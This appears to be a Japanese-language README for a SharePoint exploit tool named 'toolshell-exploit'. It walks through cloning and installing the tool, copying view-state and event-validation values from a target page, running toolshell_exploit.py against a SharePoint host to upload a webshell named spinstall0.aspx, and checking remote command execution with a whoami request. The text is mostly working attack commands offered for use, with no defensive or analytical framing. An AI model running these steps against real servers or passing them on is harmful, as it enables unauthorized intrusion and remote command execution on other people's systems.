
このパッケージは以下を可能にします:
git clone <this-repo>
cd toolshell-exploit
pip3 install -r requirements.txt
webshell をアップロードします
SharePoint ページからページソースにアクセスできます。view source タブに移動するだけで、利用可能な場合には以下の情報が得られ、コピーできます:
A) __VIEWSTATEGENERATOR
B) __EVENTVALIDATION
C) (any current __VIEWSTATE for context)
python3 toolshell_exploit.py \
--target https://sharepoint.local \
--viewstate "<any_BASE64_VIEWSTATE>" \
--generator "<VIEWSTATEGENERATOR>" \
--eventval "<EVENTVALIDATION>"
これにより spinstall0.aspx がアップロードされます。 確認: https://sharepoint.local/_layouts/15/spinstall0.aspx?cmd=whoami